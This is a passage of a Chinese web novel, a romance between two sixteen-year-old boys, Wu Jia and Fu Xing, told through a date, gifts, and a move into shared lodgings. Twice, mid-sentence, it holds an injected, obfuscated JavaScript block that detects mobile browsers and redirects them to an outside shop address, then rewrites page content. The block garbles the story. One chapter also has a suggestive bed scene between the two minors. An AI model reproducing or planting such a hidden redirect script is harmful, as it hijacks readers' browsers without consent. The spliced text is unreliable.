“想去!”傅星打断他的话,然后低头凑到乌嘉眼前,认真道,“和嘉嘉一起的话,哪都想去。” 说完,称乌嘉还晕乎乎没反应过来,傅星快速的在那微红透粉的脸蛋上吧唧一口。 “出门前亲一下。” 乌嘉这次没急着脸红,他抬起手擦了擦脸上的口水,摸着脸上微微不平的牙印,心中真诚的发出疑问,傅星真的分得清咬和亲的区别吗? 14. 全都是过往 舒缓的乐符微荡于空中,与纸张油墨独有的气味纠缠,是书店独有的缱绻。 静静伫立在书架前的少年,目光落于手中的书页上,暖色灯光驱散了他周身若有若无的缕缕郁气,温柔的内里尽显于外。 更温柔的,是另一人盯着他的眼神。 傅星捧着一本书,目光却一直落在不远处的乌嘉身上,连手中书的书名都没看进去。 纵使在如此具有文学气息的环境中,傅星也无心拜读圣贤,他只想拉着乌嘉找个没人的地方亲昵。 其实他也不在乎有没有人看到他们在一起,和嘉嘉在大街上被围观他也无所谓,但就怕嘉嘉这个脸皮薄的会害羞到大脑宕机…… 傅星思绪越飘越远,直到乌嘉走到他跟前才如梦初醒。 “不再多挑一会?” 傅星嘴边挂着浅笑,说着就伸手接过了乌嘉手中的书,随手翻看了一下,顺便把书名记了下来。翻完,他抬眼看向乌嘉,再度问道,“这几本就够了?” “就这些,走吧。”乌嘉点头,从傅星手中拿回书,转身走向了收银台。暖色的灯光掩饰住了微红的耳廓,他察觉自己的心脏现在跳得比平时里快一些。 乌嘉刚才其实根本没有怎么集中精力挑书,他的注意力总会飘到傅星身上,即使傅星一动不动,就这样站在那里当背景板,乌嘉也觉得融在背景中的傅星比手中书本更加吸引他。 而且……他这样把人晾在一边自顾自挑书,是不是有些浪费了和傅星约会的时间。 乌嘉双手接过店员包好的书,他捧着书,心中犹豫了一下,然后开口向店员道,“可以先寄存在你们店里吗,晚一点来拿。” “当然可以。”店员笑着回答,乌嘉是他们店里的常客,他们同事都认识乌嘉,也都很喜欢这个好看又有礼貌的小哥哥。 乌嘉谢过店员后,便自然的拉起傅星的手离开了书店。 傅星看着自己被拉住的手,又看了看前面的乌嘉,忽然想到什么似的笑了笑,他凑到乌嘉身边,故意道,“嘉嘉为什么不把书拿走呢,那几本书也不重啊。” 乌嘉神情微变,但很快就恢复,他垂眸正经道,“一直拿着太累了。” “是拿着累吗……”傅星有些压不住上翘的嘴角,他动了动手指,交握的两只手变成十指相扣,缠绵暧昧,尽显亲密。他看着乌嘉红彤彤的耳尖,压着笑继续道,“还是……嘉嘉想空出手来和我牵手啊。” 乌嘉呆在了原地,愣了半秒,然后脸刷一下就红了。 为什么那么细微的想法居然都被察觉了……傅星是监控了他的大脑吗? 微微缓过神后,乌嘉红着脸想要抽回被握住的手,一副要自证清白的模样。但傅星早有准备,在不弄疼乌嘉的前提下,将他的手扣得死紧,愣是抽了半天抽不回来。 “既然嘉嘉那么想要牵手,那我就满足嘉嘉的愿望吧。” 傅星无视乌嘉的反抗,指腹慢慢摩挲着乌嘉细腻的指节内侧,他明亮的眼眸牢牢盯着乌嘉通红的脸,大方道,“今天一整天都不松手。” 乌嘉红着脸抿嘴无言,两人站在人来人往的大街上,他也不好有过于激烈的动作,只能任由傅星拉着他继续走。 傅星一脸开心,步伐都透着愉悦,甚至哼起了歌。 看着傅星那副轻快的模样,乌嘉原本袭上脑的一点羞赧逐渐消失殆尽。他一直觉得,傅星笑盈盈的眉眼非常有感染力,每次看到傅星笑,即使他心中再毫无波澜,都会不禁上扬起嘴角。 随着开心的人走,总是会变得开心,乌嘉这样想着,放松的手指微微动作,慢慢回勾住了傅星的手。 “我们接下来去哪?” 傅星满脸惬意摇摆两人交叠的手,漫不经心重复乌嘉的话,“我们接下来去哪呢……” 听傅星也没有打算,乌嘉也不急,他看着前方的路,缓声道,“反正这条街也没有好好逛过呢,我们可以……” “到了。”没等乌嘉说完,傅星就停住了脚步,弯着嘴角看着他,眼中闪过狡黠的光芒。 眼前是一家看上去有些复古的照相馆,玻璃门上挂着一个“营业中”的金色牌子。 乌嘉还有些没反应过来,“这里是……” “进去吧。”傅星敛着心中兴奋,轻声催促乌嘉,漆黑的瞳中蕴着暗光,第一次约会怎么可能没有计划,他要给嘉嘉最好的惊喜。 门铃声清响,两个少年并肩推门而入,店中老板正摆弄着手中新洗的照片,看到俩人进门,也没上去招呼,而是看着傅星熟稔笑道,“你来了。” 傅星笑着点头回应道,“如约而来。” 一进门,乌嘉就被店内挂起的照片吸引,那些照片闪着崭新的光芒,像是刚洗出来的。 离门口最近的,是一张小男孩低头踩着银杏落叶的背影,他看着那熟悉的街景,心中闪过迟疑。 再下一张,是两个男孩同行于银杏树下,看到那熟悉的明朗笑容,乌嘉心中困惑一下消散,这是……他和傅星。 除第一张是乌嘉一个人外,后面所有的照片,都少不了另一个身影。 挂起的照片就像老电影的胶带,在乌嘉的脑海中断断续续播放。 两人童年初遇时青涩的浅笑,稚嫩的眉眼慢慢舒展,一起长成了清逸的少年郎,照片里的两人也逐渐变得肆意亲密,最后,两人的眼中满是彼此。 放眼望去,这店中挂起的每一张照片,都是过往。 最后的两张照片上就没了他们,是两张看上去有些相像的夜景,手机拍下的画面说不上有多唯美精致,但都清晰拍到了那相互辉映的星月。 乌嘉盯着最后的两张照片,心潮难平,他像是再走了一遭过往,就像再看一遍喜爱的书,纵使情节已知,却也免不了沉湎其中,再度共感那一次次的悸动,甚至品味到新的情思。 他久久说不出话来,似有千言万语堵在喉间,乌嘉机械的吞咽了一下,找回自己的声音,他带着鼻音缓缓道,“那天晚上拍下的照片,你居然也洗出来了。” “我很喜欢这两张。”傅星跟在乌嘉身侧,将照片一张张取下,然后递给了老板。 傅星取下最后两张照片,侧头看向乌嘉,盛满喜爱的漆黑眼眸闪动着细碎的光,就像他手中星月辉映的夜色,蕴浸星辰的眼只装下一个身影,他听见他说,“我们明明没有在一起,却共赏了夜色。” “很有默契,不是吗?”傅星笑着说。 乌嘉有点沉沦在傅星那双眼中,他眨了眨眼,稍稍回神,回答道,“嗯,最有默契的一次。” 老板动作娴熟的将一张张照片收进相册,看着那些照片,乌嘉忽然想到什么,对老板道,“我这还有一张,洗出来要多久?” 老板抬头扶了扶眼镜,意有所指道,“只要不需要让我再挂一遍,那就很快。” 乌嘉愣住片刻,随即明白了老板的意思,他失笑道,“只需要洗出来就行。” 很快,相纸上浮现出蓝紫色的花束,傅星盯着照片,满意道,“嘉嘉果然很喜欢我送的花。” 乌嘉没有否认,只是微红着脸,问起老板保存这些照片的注意事项。 老板边说边把处理好的照片收进相册,收好后,又从身后的柜子里拿出一个盒子,和相册一起放在两人面前。 乌嘉看着那个盒子,有些迟疑道,“这是……相机?” “拍立得和相纸。”傅星拆开盒子,从中拿出拍立得,调试两下后,称乌嘉没有反应过来,对他拍了一张。 相片很快出来,相片上的少年嘴巴微张,满眼吃惊,一改平时清朗沉静的模样,尽显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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接下来是漫无目的的游玩,两人走了很多地方,傅星总是称乌嘉不注意时按下快门,留下他各种各样的照片,乌嘉也从最开始的不胜其烦到最后的无动于衷。 临近正午,路上行人渐少,傅星将拍下的照片一张张收进相册,照片很快将相册剩余的空位填满,他拿着拍立得,意犹未尽道,“这些照片我都要好好留着,晚点找老板塑封一下。” 乌嘉看着自己那些千奇百怪的照片,忍无可忍道,“你要不要直接把我带过去叫老板塑封一下,免得浪费相纸了。” 傅星闻言,摸摸下巴认真道,“这倒也不是不可以……” 乌嘉一窒,抬眼看向傅星,“你还真想?” “毕竟嘉嘉的建议很值得采纳。” 傅星忍了又忍,还是笑出了声,他看着被气到的乌嘉,搂住安抚道,“没办法,太喜欢你了,想把任何时刻的你都留下来。” 乌嘉看着傅星满是爱意的笑,忍不住抬起手,搓了搓他的脸颊又揉了一把他的卷发,在傅星被他蹂躏的愣神之际,突然踮起脚亲了一下傅星的鼻尖。 亲完,乌嘉红着脸看着傅星,慢慢开口道,“那也不能只留我一个人的,我也喜欢任何时刻的你。” 傅星被乌嘉一套连招弄得完全呆愣在了原地,听到面前红着脸的人说出这样一句话,他感受到自己的心又开始了负荷的跳动。 他知道,乌嘉一直都不太喜欢拍照,那么多年来,除去自己主动要求的合照,和身边人拍下的他,乌嘉鲜少自己去留下一些照片。 他像是不想在这个世界留下太多自己的痕迹。 意识到这一点后,傅星便总是会在各种时候拉着乌嘉合照,在教室里,在操场上,在回家的路。 他拍了许多合照后,还是觉得不满足,便开始偷偷拍下各种各样的乌嘉。睡觉的时候,做题的时候,发呆的时候……这些照片都被傅星悄悄存进手机,然后备份到了电脑上。 既然嘉嘉不想在这个世界留下太多痕迹,那就在他心里多留下一些痕迹吧。 他盯着乌嘉良久,盯得乌嘉就要呼吸不过来时,终于开口。 “那以后我们就多拍照吧。” “嗯,合照。” “好,合照!” 15. 他还是低估了 乌嘉一打开家门,入目的就是餐桌上巨大的花团,紫蓝白三色相互交映,繁华得让人心颤。 “爸……这都是你买的?”乌嘉放下手中的东西,看着那夸张的花束,愣愣开口道,“你跑了不止一家花店吧。” 乌常辉修剪着花束,嘴边噙着笑道,“你就说好看不好看吧。” “好看。”乌嘉点头,忍不住道,“妈妈看到估计会……” 一声尖锐的暴鸣声打断了乌嘉的话,刚进门的宋玉温看到这一幕直接惊得嘴张得可以吞下鸡蛋,就连她最心爱的包包也被随意甩在地上,不管不顾踢下鞋就冲向乌常辉,一个起跳就挂在了乌常辉身上。 “啊啊啊啊啊啊老公我爱死你了啊啊啊啊啊啊……” 宋玉温挂在乌常辉身上不顾形象的鬼哭狼嚎,乌常辉笑着抱稳她,稳步将人放在沙发上,然后又去门口给她拿了一双拖鞋。 “喜欢吧。”乌常辉蹲下身给宋玉温套上拖鞋,抬脸笑道,“所有颜色我都买了回来,这下不用挑了。” “喜欢喜欢好喜欢!”也不顾乌嘉还在,宋玉温捧起乌常辉的脸就是吧唧一下,然后迫不及待起身走到桌前,拿起手机对着这些花束一顿拍。 乌嘉脸上挂着笑意,他也拿起手机拍了一张照片,顺手把照片发给了傅星。 星星:叔叔这……也太卷了吧。 乌嘉失笑,打字道:他不是有意卷你。 星星:不行,我要带你去看更大的……花海! 乌嘉打字的手指一顿,这怎么还起了莫名的胜负欲,他只好道:凡事过犹不及。 星星:嘉嘉你真有文化,和你聊天有一种语文课的氛围感。 乌嘉:…… 星星:哈哈哈好了不和你开玩笑了,嘉嘉……你有没有觉得忘了什么? 乌嘉看到这条消息,神色一顿,忘了什么?很快他想起些东西,心里一咯噔,不由开口道,“糟了。” 一旁赏花的宋玉温听到动静,抬头看向他关切道,“怎么了?” 乌嘉面露难色,“我书落在书店了。” 宋玉温闻言语塞,静默片刻,然后开口道,“不愧是你,嘉嘉,让你出去玩,你居然选了书店,星星居然也愿意肯跟你去。” 乌嘉失笑,辩解道,“就逛了一小会,后面还去了很多地方。” “那一定玩得很开心,要不然怎么把书都忘了。”乌常辉上前笑道。 乌嘉有些不好意思,他目光飘忽的想,确实玩得有些太开心了,把书的事情忘得一干二净。 “我明天再去拿。”说完,乌嘉便拿了自己的东西回房间,放下东西后,才记起自己还没回傅星消息,打开手机一看,已经被傅星刷屏了。 星星:记起来了吗?记起来了吗? 星星:没错,就是那些阻碍我们牵手的书! 看到“阻碍我们牵手”几个字,乌嘉脸色一赧,这件事过不去了是吧,他赶紧往下滑,略过这条消息。 星星:既然忘记拿了,那我们明天再出去一趟拿书吧。 星星:刚好还有一些地方想和你一起去。 星星:当然我也是到家才想起来的,绝对没有故意不提醒你的意思。 星星:真的真的我也忘了。 星星:人呢人呢[狗狗探头]。 乌嘉嘴角勾起,一条条回复道:记起来了,我们明天一起去拿吧,知道你不是故意的,我也忘了,刚才去把买的东西收拾了一下,所以没有看到你的消息。 另一边的傅星百无聊赖躺倒在小沙发上,看着乌嘉发来的一长段消息后,目光闪动的直起身来,他手指停留在手机屏幕上,打了几个字后又停顿了一下,最后删了字,改成了发语音。 看到傅星发来的语音,乌嘉微愣,下意识看了眼紧闭的房门,又心虚的把手机音量调低一些。 点开语音前,他耳朵有些微热的想,星星又不会发什么虎狼之词,自己那么紧张干嘛…… “嘉嘉,你每条消息都会认真回我诶,你果然好喜欢我。” “我也好喜欢你,好想你啊,你说我现在跑到你家说要和你一起睡阿姨会同意吗?应该是会同意的,我就说我不敢一个人睡……” 乌嘉忍无可忍,直接摁熄了手机屏幕,红意已经蔓延到了全脸,心跳声大如擂鼓,他深吸一口气,在心中鼓励自己几遍后才再次打开手机。 傅星已经又发来几条语言,乌嘉暂时没有勇气听下去,他先是打字让傅星住脑,别再想跑到他家来和他睡,无情反驳了他那骗傻子的理由。 乌嘉:你是活了十六年之后突然开始害怕一个人睡觉了吗? 乌嘉:别来……明天就能见到了。 乌嘉:还有,你在家这么说话等下被你爸妈听到怎么办…… 傅星看到这条消息,眉头一挑,听到了怎么办……他手指一动,真诚打字道:那估计明天就可以去你家下聘了。 星星:说真的,他们觊觎你很久了。 乌嘉:…… 乌嘉:早点睡,明天见。 看到乌嘉发来的这六点六字,傅星笑出了声,笑了一会,他平息了一下,然后脑海中又浮现出了乌嘉的身影,遂又笑出声。 他咧嘴看着天花板傻笑,心中饱胀得像是灌满了蜜糖,果然世界上没有什么事比和嘉嘉谈恋爱更幸福。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196409|197135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“大晚上你发什么颠?” 傅爸路过傅星房间门口,见傅星这副狂悖的模样也是被吓得一哆嗦,他礼貌开口道,“好小子,下次发颠记得关好房门,免得吓到你心脏脆弱的父母。” 说完,他还出于好意的顺手给傅星把门带上了,关完门,傅爸背着手离去,满心欣慰的想,我真是一个有边界感的父亲。 傅星没太受这小插曲影响,他摸了摸自己上翘的嘴角,心想自己看上去很奇怪吗?谈恋爱不是这样的吗?一定是他爸不懂爱情,也不知道他妈当初怎么看上他爸的。 另一边,乌嘉发完消息后便红着脸去了洗漱,洗漱完脸上的热意终于消退了些,他打开手机,刚才傅星发的语音他没有勇气听完,现在缓了一会应该能听下去了。 看着那未读的两条语音,他犹豫了一下,最后下定决心一般,满脸严肃的点开了。 “我想你撒~想和你困觉~我想一困醒就看到你……” “……可以吗,嘉嘉。” 乌嘉脸上那仿佛要上考场般的严肃终是化为了羞赧,他有些受不了的抬手捂住嘴,捂完后又反应过来自己是不是该捂耳朵才对。 傅星虽语气粘腻,但确实没有半分故意捏住嗓子说话,但就是这样用他平时清朗的声线说出这样的话反而更有杀伤力,再加上他那有意无意加上的幼时方言,让乌嘉更有别样的感觉。 乌嘉捏着手机的手都在颤抖,脸上刚消下的红晕再次蔓延而上,还有愈演愈烈之势。他还是低估傅星了,这样会撒娇谁扛得住?是他没见识还是他没出息?算了算了没出息就没出息吧,别人不知道,反正他多活一辈子算白活了,傅星这样撒娇撒的他直迷糊…… 不知道缓了多久,乌嘉终于找回了些实感,他打开手机,颤颤巍巍点开语音,然后忍住羞涩给傅星回了条语音。 “我也想你,下次带你回来一……一起困。” 发完,他丢什么毒药一般丢开手机,躺在床上不敢再看一眼手机的方向,他闭着眼睛浑身滚烫的想,他一辈子都不会听自己发的那条语音。 被抛在角落的手机,在静默了几秒后,疯了似的狂闪消息,乌嘉看了一眼那仿佛在疯狂舞动的手机,没什么表情的翻了个身,选择眼不见心为静。 蝉声未停,夏夜不歇。 在夏蝉的掩护下,仲夏的风悄悄拂过窗帘,虔诚轻吻桌上瑰丽的无尽夏,像是在感谢花束对于无尽之夏的祝福。 但遗憾的是,即使吟唱的蝉,夜间的风,还有月下的人,都舍不得这浪漫的夏天,夏天还是会追逐着时间离去。 在第一习秋风到来之际,属于少年的另一篇章也即将开启。 16. 这个是羽叶茑萝 “嘉嘉,一个人住在外面最重要就是要注意卫生,虽然我和星星妈妈给你们请了一周一次的保洁阿姨,但平时的个人卫生就要靠你自己了,勤洗手我就不说了,那些被子什么的逢着晴天就要记得拿出来晒晒……” “好啦。” 乌常辉拿起一粒葡萄塞进宋玉温嘴里,打断了宋玉温施法,他笑着道,“嘉嘉都要十六岁了,又不是六岁,不用太操心了。” 宋玉温嚼着葡萄,皱着眉道,“我知道……可是嘉嘉毕竟是第一次搬出家住,难免……” “该打点的该安排的我们和星星爸妈都弄好了,他们就是换了个地方睡觉罢了,更别说逢月假还会回家,不用担心太多了。” 乌常辉说着,抬手揉了揉宋玉温额间,心疼道,“哟哟,看看‘川’字都出来了,可别再皱眉了。” 乌嘉一直在一旁乖巧的听着宋玉温叮嘱,听到乌常辉这样说,他也见缝插针道,“妈妈你放心吧,我和星星会相互照应的,有什么事我一定会打电话给你们的。” “行吧……” 宋玉温在乌常辉的按揉下,放松了些许,刚放松没一会,她不禁再次抱怨道,“要是学校宿舍环境好一些我们也不至于这样了,谁知道这学校那么难考就算了,学生宿舍还弄好一点,不禁卫生间脏乱差,还是六人寝室。” “是啊是啊,哪能和我们当初十二人寝的条件好,我们那时候还有大澡堂呢,这学校连澡堂都没有,咱们嘉嘉不能受这个苦。”乌常辉揽着宋玉温,笑着贫嘴道。 宋玉温闻言,瞪了乌常辉一眼,然后继续叮嘱道,“我们有时间就会来看你们,你和星星一定要照顾好自己。” 乌嘉乖巧点头,刚想开口再宽慰宋玉温两句,门外就传来了几声汽笛声。他眼睛一亮,没再顾得上回话,急急起身去开门。 早秋的日光还是有些灼人,而傅星就披着这灼人的目光,在远处激动的朝乌嘉招手。 乌嘉的目光难得没有一直落在傅星身上,因为他身后那辆货车实在有些太打眼了,而傅爸就戴着一个墨镜酷酷的坐在货车前的驾驶位,副驾驶坐着的是同样戴着墨镜的傅妈。 傅星满头大汗的跑过来,看他这副模样,应该追着他爸妈的车尾气过来的。 乌嘉掏出两张纸,本想伸手帮傅星擦一下汗,但听到宋玉温和乌常辉也闻声出来了,便犹豫了一下,最后还是直接把纸递给了他。 “擦擦汗吧。” 傅星接过纸,边吸走汗液边道,“我爸刚才留下一句‘你那么厉害一定可以跑赢汽车吧’后就带着我妈走了,留下我一个人追车,嘉嘉……我跑得好累。” 其实距离也没多远,对于傅星来说也不是什么很大的运动量,但是傅星就是要装一把,好让乌嘉可怜他。 乌嘉眉头微皱,也顾不得别的,拉过傅星就往家里带,边走便道,“快进来休息一下,我给你倒杯水,还是说你想喝饮料,但是说好刚跑完别喝冰的……” 见乌嘉这副絮絮叨叨的模样,傅星满意了,他任由乌嘉拉着自己,骄纵笑道,“我要喝桃汁!” 乌嘉将人放到沙发上,然后便转身去倒了一杯桃汁给傅星,见傅星喝的急还不忘提醒慢点。 门外,乌常辉一脸稀奇的看着傅爸的货车道,“没想到你还会开这个,当医生还要会开这种车吗?” “是恰好我这个医生会开货车。”傅爸帅气下车,然后谦虚道,“技多不压身嘛。” 说完,他绕到车的另一边,给优雅的赵女士打开了车门。 赵女士长腿一迈,踩着高跟鞋灵巧的蹦下了车,她整理了一下裙上褶皱后,精准定位宋玉温,随即红唇一勾便朝着人嗒嗒走去。 宋玉温看到赵灵也是开心得很,刚想开口寒暄,却被赵灵一句,“快看我今天的妆造。”给堵了回去。 宋玉温面不改色从头到位点评完后,又适当的提了几个小小的意见,听得赵灵一愣一愣的,最后忍不住道,“你慢点,我录个音。” 说着就要从包里掏手机,宋玉温勾唇压住赵灵掏手机的手,然后神秘道,“我最近入手一批好货,带你去看看。” 看着两人相携离去的背影,傅钦满意点头,他墨镜下的眼睛悄悄看了乌常辉一眼,然后故作自然道,“她们关系真好,就像我家那小子和嘉嘉一样亲近。” “是啊是啊。” 乌常辉觉得这个形容怪怪的,但他没说出来,只是笑着道,“当初也是一见如故。” “如果他们关系能更亲近一些是不是就更好了。”试探的说完后,傅钦有些心虚的望天,还好带着墨镜,要不然还真不好直视这日头。 乌常辉笑容僵住,还要亲近一些?她们还要怎么亲近?结为异姓姐妹吗?他斟酌片刻,然后开口道,“好是好……但是不是要问问她们的意见。” 傅钦一听,这是不排斥啊,他轻咳一声继续道,“想来他们也是很愿意的。” “其实吧……这也就是个形式,她们心里知道有这段联系就行了,没必要太操办了。”乌常辉嘴上说得慎重,心里也开始打鼓,怎么感觉事情走向变得奇怪了,哪里怪他也说不上,但就是不对劲。 傅钦听到这眼睛的光芒迸发到墨镜之外了,他不敢置信的看着乌常辉,形式?操办?这是真的要他们下聘了啊,不过听上去乌常辉并不希望这段关系公之于众,看来是还有些顾虑,不过有这个接受程度已经很不错了。 傅钦抬手拍了拍乌常辉的肩,欣慰道,“你也是个明事理的。” 如果说乌常辉刚开始是略带困惑,那现在他已经是怀疑世界了,他听着傅钦的褒奖有些不安。没想到他多年引以为傲的语言艺术竟在此时遭遇滑铁卢,他脑子已经开始宕机了,他该怎么回,他还该说话吗? “爸,你和叔叔说什么呢。”傅星搬着一箱乌嘉的东西出门,看到两个男人之间单方面凝固的氛围,心下顿生不安。 乌常辉看到傅星,如获救星,他连忙开口道,“在说你妈妈和嘉嘉妈妈义结金兰的事。” 傅星闻言呆滞:“啊?” 傅钦嗖的看向乌常辉,满目的震惊仿佛要透过墨镜溢出来,乌常辉则是满脸无辜,难道我们不是在说这个吗? 看到乌常辉眼底的茫然后,傅钦当机立断,郑重点头道,“是的,没错。” 傅星呆滞完,张了张嘴想说什么,但看到他仿佛已经凝固的父亲后,还是选择闭上嘴。虽然不知道发生了什么,但总感觉他爸付出了很多。 等宋玉温和赵灵出来,乌常辉便把傅钦的提议说了出来,引得在场的氛围凝固了一瞬。 赵灵红唇微扬,看了心虚的傅钦一眼,然后率先笑着道,“我觉得可以,择日不如撞日,好大儿,倒茶来。” 宋玉温满脸懵逼的接过茶,又懵逼的和赵灵碰了个杯,把茶喝完后都还没回过味来。 “今天起我们就是异姓姐妹了。”赵灵打开包,然后挑了条金链子,笑着递给宋玉温道“来,信物。” 宋玉温虽人还没很明白,但也没忘了回礼,赶紧 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房间里的乌嘉听到动静,赶紧把手里的盆栽整理了一下,然后捧着花盆面向门口,脸上挂着期待的笑。 随着一声急切的开门声,喘着粗气发丝凌乱的傅星出现在门口,看到他那急切又带上了欲望的眼神,乌嘉的微笑僵在了脸上。 怎么有一种被狂徒闯入卧室的感觉,而且这狂徒好像还是他自己勾来的。 傅星调整呼吸,稍稍收敛了一下自己的表情,让自己看上去端庄了些,他满目惊喜的看着乌嘉手上捧着的花盆,嘴巴要咧到耳后根。 “这是特意给我准备的吗?” 听到傅星欣喜的声音,乌嘉堪堪从傅星刚才给他的震撼里回神,他点点头,笑着把手上的盆栽递给傅星。 “这个是羽叶茑萝,也叫……星星花。” 傅星小心翼翼的接过花盆,墨绿的羽毛状枝叶中,开着一朵朵五角星形状的小花,红色粉色白色的星星一点点缀在满目绿色中,灵动得让人挪不开目光。 傅星难掩激动,盯着这明显受到了精心照料的盆栽,连吐息都不禁轻了些,生怕破坏了这些可爱的小花朵。细细观赏完后,他看向脸上红意未消的乌嘉,轻声道,“嘉嘉,我好喜欢,这是我这辈子收到过最好的礼物。” “喜欢就好。”乌嘉原本紧张的背部放松了下来,喜欢就好,这三个月的栽培总算没有白费。 傅星上下观赏了一圈后,将盆栽轻轻放在桌上,然后动作自然的牵起乌嘉的手,他看着乌嘉,眼中缱绻尽显,缓声开口道,“为什么要送这个给我?星星花?” “是因为觉得我会喜欢星星花,还是……嘉嘉喜欢星星啊?” 听到这样直白的拷问,乌嘉雪白的脖颈又爬上了红意,他目光微微闪躲,轻声道,“我在书上看到的……觉得很好看。” “哦……那就是因为嘉嘉喜欢星星了。”傅星没给乌嘉逃避的机会,他空出的左手轻轻抚上乌嘉微热的脸庞,温柔的将他的目光推移回自己身上。 看着乌嘉微微颤抖的长睫,他下意识空咽了一下,然后哑声开口道,“星星也好喜欢嘉嘉。” 或许听出了少年语气中的欲求,乌嘉适时的闭上了眼,看着手心一副乖巧模样的白净脸庞,傅星眸色深了深,随即略带侵略性的将乌嘉脸颊捧起,动作迫切的附身轻吻。 桌上的小花被一阵微风吹得摇摆不断,其中带着些水珠的花蕊也开始不安抖动,细小的花粉在风的侵袭下,粘连到了深色的羽状叶脉上。 17. 他们是爱情结晶 紧闭的房门之中,两个少年不知何时已经交叠在了床上,暧昧的水声让微风都不好意思再叨扰,整个房间只剩下布帛摩擦的声音。 乌嘉抓紧床单的指尖愈发白,原本平铺齐整的床单也变得和两人交缠的呼吸一般凌乱。傅星骑跪在乌嘉身上,双手捧住他的脸颊不住深吻,明明交缠的只有那方寸之舌,两人却都体会到了前所未有的灼热。 直到感受到嘴唇摩擦得出现刺痛感,乌嘉才迷蒙的睁开半缝眼,他伸手轻轻推了傅星一把,再亲下去,两人的嘴肯定就都肿了,会被发现的…… 接收到亲吻必须结束讯息后,傅星微微停顿,眼神眷恋不舍,亲吻也变得急躁,不禁狠狠吸吮了起来,乌嘉微微皱眉,他感觉他的舌根都麻了。 又过了片刻,傅星才恋恋不舍的起身,但他仍未放开乌嘉,而是摩挲着他的脸颊,神情是说不出来的缱绻暧昧。 几个月下来,两人早没了最初的那样青涩,私下相处也亲密了不少,乌嘉也懂得回应傅星的爱抚,他带着依赖的把脸靠在傅星手心,还轻轻蹭了蹭,眼帘半掀的望着傅星,好似一只被摸舒服的猫。 看到乌嘉不经意间的动作,傅星微勾着的嘴角僵了僵,几乎是一瞬间,他的脸刷得红透,嘉嘉看上去……好诱人。 乌嘉却没有意识到自己现在的神情如何,他埋在傅星手心的脸又动了动,好似在不满傅星突然停滞的爱抚。直到不经意间看到傅星红得反常的脖颈,才后知后觉的回神,意识到自己好像有些失态了。 他想撤开冷静一下,却被傅星一个熊扑压倒在了床上,还没来得及做出反应,乌嘉就感受到腰间那处不同寻常的硌。 “我不动,你也不动,我们就这样静一会。” 低哑的声音在耳边响起,乌嘉不敢说话,更不敢动,就这样僵直在床上,心中已是一团乱麻。 不知过了多久,他们才一前一后走出房间,傅星抱着一些杂物率先出来,乌嘉则是捧着那个盆栽跟在他身后。 两人除了嘴唇红了一点,表面上并无什么不妥之处,但知情者傅钦一眼便看出猫腻,或许是还尚存一些心虚,他并没有说什么,只是默默移开了目光。 “都收拾好了吧,嘉嘉。”宋玉温上前来,一眼就看到了乌嘉手里的盆栽,她眼睛一亮,惊喜道,“呀!终于开花了!” 乌常辉闻声来看,看到那一朵朵的小花,也是笑道,“难为你勤勤恳恳照料两三个月,终于是守得云开见月明了。” 一旁的傅星心中一动,原来嘉嘉精心养了那么久,还将开花的第一时间分享给了自己,真是…… 感受到傅星亮晶晶的目光,乌嘉有些不好意思,他轻咳一声,故作自然回道,“养了那么久,都有感情了,我还是带走吧。” 说完,便抱着花盆出了门,匆忙之下还差点撞上外面的赵灵,乌嘉带着歉意一笑,随后便将花放进车里。 一旁的赵灵取下墨镜瞄了花盆一眼,随即眉毛一挑,笑了。 星星花呀……她瞄了一眼自己那勤勤恳恳搬东西的好大儿,心里不住感叹,浪漫,真是浪漫,她儿子是个有福的。 东西收拾的差不多,两家人也出发了,傅星这次没再追他爸妈的尾气跑,而是幸福的坐进了乌常辉的车,坐在乌嘉旁边抱着那盆花一脸傻笑。 车内音乐声开得大,傅星见宋玉温和乌常辉没注意他们后座,便不安分起来,他凑到乌嘉耳边,小声开口道,“嘉嘉,你说……他们算不算我们的孩子。” 孩子?什么孩子?乌嘉一警,困惑的看向傅星,就看到了傅星傻傻的展示出手中的花。 乌嘉愣了片刻,才算明白傅星的意思,他沉默了一会,勉强开口道,“不算吧……” “怎么不算呢。”说到这,傅星就来劲了,他继续一本正经道,“你看呐,他们是我们爱情的结晶,又是你一手带大的,长得也随我,这不就是我们的孩子吗?” 乌嘉被他一通话堵得一窒,他张了张嘴,愣是半天找不出一条反驳的理由。 傅星说着说着都有些动容,似乎是体会到了一点初为人父的欣慰,他不禁把花盆抱得更紧了些,甚至拉着乌嘉往车窗边挪挪,好让他的孩子能照到太阳。 看着手里的花朵,傅星只觉每朵都可爱得要命,他调整好最佳的光照角度,笑着对乌嘉道,“我要给他们每一朵花就取一个名字。” 乌嘉只觉傅星脸上慈爱的笑此时有些过于刺目,他欲言又止止言又欲,脑中一片混乱,最后嗓子一卡,一句话脱口而出,“你很喜欢孩子?” 傅星慈爱的笑容僵住:啊? 乌嘉也僵住了,他想说他不是这个意思,又不知道该怎么解释,一时间涨红了脸也说不出话来。 “你们在嘀嘀咕咕什么呢?” 前排的宋玉温终于察觉到了后排的汹涌,她回过头看向两人,满脸好奇。 傅星莞尔一笑,率先开口道,“我觉得嘉嘉种出的花太好看了,想给他们每一朵都取一个名字。” 此话一出,宋玉温顿时被逗笑,开车的乌常辉也是一脸忍俊不禁,乌嘉更是满脸震惊,不是,这就把你的奇思妙想公之于众了? “哈哈哈哈哈哈哎哟……星星你可太可爱了哈哈哈哈哈……” 宋玉温笑了好一会,笑得肚子都疼了,她边笑还边掏出手机给赵灵发语音,二十秒的语音,有十五秒都在笑,每每说到一半就又笑得语无伦次,发了好几条才堪堪把事情说清楚。 “哈哈哈哈哈哈哈哈哈哈哈哈哈哈……” 